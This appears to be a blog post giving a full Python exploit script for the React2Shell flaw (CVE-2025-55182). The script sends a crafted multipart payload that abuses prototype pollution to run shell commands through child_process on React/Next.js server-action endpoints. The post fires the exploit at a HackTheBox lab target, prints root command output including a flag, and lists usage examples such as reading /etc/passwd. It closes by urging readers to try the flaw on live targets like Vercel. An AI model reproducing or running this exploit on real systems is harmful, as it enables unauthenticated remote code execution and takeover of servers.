RETURN_TO_HOME

Getting React2Shell Vulns Under 1 Minute

Getting React2Shell Vulns Under 1 Minute

Practical script for React2Shell vulnerability, covering CVE-2025-55182 and CVE-2025-66478 fastest interaction.

For an overview, I already created tweet/PSA notes.

Now, for an open lab, we’re going to use HackTheBox ReactOOPS:

Target

http://94.237.49.209:50005/

Since we already know it’s vulnerable, we can just fire up our tools. Here is the complete exploit script:

#!/usr/bin/env python3
"""
React2Shell Exploit for covering CVE-2025-55182
"""

import requests
import sys
import argparse
import re
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_multipart_body(command):
    """
    Generate the exact multipart payload that matches the working PoC
    """
    injection = (
        f"var res=process.mainModule.require('child_process')"
        f".execSync('{command}',{{'timeout':5000}}).toString(). trim();;"
        f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
    )

    payload_json = json.dumps({
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": "{\\\"then\\\":\\\"$B1337\\\"}",
        "_response": {
            "_prefix": injection,
            "_chunks": "$Q2",
            "_formData": {
                "get": "$1:constructor:constructor"
            }
        }
    })

    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f"Content-Disposition: form-data; name=\"0\"\r\n"
        f"\r\n"
        f"{payload_json}\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f"Content-Disposition: form-data; name=\"1\"\r\n"
        f"\r\n"
        f"\"$@0\"\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f"Content-Disposition: form-data; name=\"2\"\r\n"
        f"\r\n"
        f"[]\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )

    return body, boundary

def extract_output(response_text):
    """
    Extract command output from RSC response
    The output appears in format: 1:E{"digest":"OUTPUT_HERE"}
    """
    patterns = [
        r'1:E\{"digest":"([^"]*)"\}',
        r'"digest":"([^"]*)"',
        r'"digest":`([^`]*)`',
        r'E\{"digest":"([^"]*)"\}',
    ]

    for pattern in patterns:
        match = re.search(pattern, response_text)
        if match:
            output = match.group(1)
            output = output.replace('\\n', '\n')
            output = output.replace('\\t', '\t')
            output = output.replace('\\r', '\r')
            return output
    return None

def exploit(target, command, proxy=None, verbose=False):
    """Execute the exploit"""
    url = target.rstrip('/')
    body, boundary = create_multipart_body(command)

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0",
        "Next-Action": "x",
        "X-Nextjs-Request-Id": "b5dce965",
        "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
        "Content-Type": f"multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad",
    }

    proxies = {"http": proxy, "https": proxy} if proxy else None

    try:
        if verbose:
            print(f"[DEBUG] Sending request to {url}")
            print(f"[DEBUG] Command: {command}")

        response = requests.post(
            url, 
            data=body, 
            headers=headers, 
            proxies=proxies,
            verify=False,
            timeout=15
        )

        if verbose:
            print(f"[DEBUG] Status: {response.status_code}")
            print(f"[DEBUG] Response:\n{response.text[:500]}")

        output = extract_output(response.text)

        if output:
            return True, output
        else:
            return False, f"Could not parse output. Raw response:\n{response.text}"

    except requests.exceptions.Timeout:
        return False, "Request timed out (command may still have executed)"
    except Exception as e:
        return False, str(e)

def main():
    parser = argparse.ArgumentParser(
        description='React2Shell Exploit - CVE-2025-55182',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 CVE-2025-55182.py -t https://dev.target.local -c "id"
  python3 CVE-2025-55182.py -t https://dev.target.local -c "cat /etc/passwd"
  python3 CVE-2025-55182.py -t https://dev.target.local -i
  python3 CVE-2025-55182.py -t https://dev.target.local -c "whoami" -v
    """
    )
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', default='id', help='Command to execute')
    parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')

Execution

Let’s try with our target:

We got RCE:

And we got into the system with just one interactive command and better TTY experience.

<details> <summary>Click to view text output</summary>
react2shell> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
react2shell> pwd
/app/.next/standalone
react2shell> ls -al
total 32
drwxr-xr-x    1 root     root          4096 Dec  5 14:40 .
drwxr-xr-x    1 root     root          4096 Dec  5 14:40 ..
drwxr-xr-x    1 root     root          4096 Dec  5 14:40 .next
...
react2shell> cat /app/flag.txt
HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}
</details>

And we get our flag.

You can try the vulns; it’s actively being hunted by other bug hunters, for example Vercel and others:

Good luck. Hope you guys like it, happy hacking!

Cybersecurity Auditing Tools

Enhance your security posture with ZIntel. Comprehensive auditing and threat intelligence APIs designed for modern infrastructure.